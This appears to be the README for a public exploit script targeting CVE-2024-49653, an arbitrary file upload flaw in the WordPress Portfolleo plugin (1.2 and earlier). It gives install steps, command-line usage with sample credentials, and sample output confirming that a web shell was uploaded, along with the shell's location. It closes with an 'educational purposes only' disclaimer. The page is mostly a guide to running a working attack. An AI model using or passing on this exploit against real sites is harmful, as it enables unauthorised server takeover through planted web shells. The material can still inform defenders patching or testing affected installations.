nxploited/cve-2024-49653WordPress Portfolleo plugin <= 1.2 - Arbitrary File Upload vulnerability
Title: WordPress Portfolleo plugin <= 1.2 - Arbitrary File Upload vulnerability
Description:
Unrestricted Upload of File with Dangerous Type vulnerability in James Eggers Portfolleo portfolleo allows uploading a web shell to a web server. This issue affects Portfolleo from version n/a through 1.2.
Learn More:
CVSS Score:
This script exploits the Arbitrary File Upload vulnerability in the WordPress Portfolleo plugin (versions <= 1.2) to upload a web shell.
You need to have the following installed to run the script:
requests librarybeautifulsoup4 libraryYou can install the required libraries using:
pip install requests beautifulsoup4
Run the script with the following options:
CVE-2024-49653.py [-h] -u URL -U USERNAME -p PASSWORD
WordPress Portfolleo plugin <= 1.2 - Arbitrary File Upload vulnerability # by Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Base URL of the site (e.g. http://target/wordpress)
-U, --username USERNAME
WordPress username
-p, --password PASSWORD
WordPress password
python CVE-2024-49653.py -u http://target/wordpress.com -U Nxploited -p password123
If the script runs successfully, you should see the following output:
[+] Logged in successfully.
[+] Extracted _wpnonce: e5f7ffa134
[+] Shell has been uploaded.
[*] Check the shell here: http://target.com/wp-content/portfolleo/nxploit.php
This script is intended for educational purposes only. The author does not condone the use of this script for illegal activities. Use it responsibly and only on systems you have explicit permission to test.
By: Nxploited | Khaled Alenazi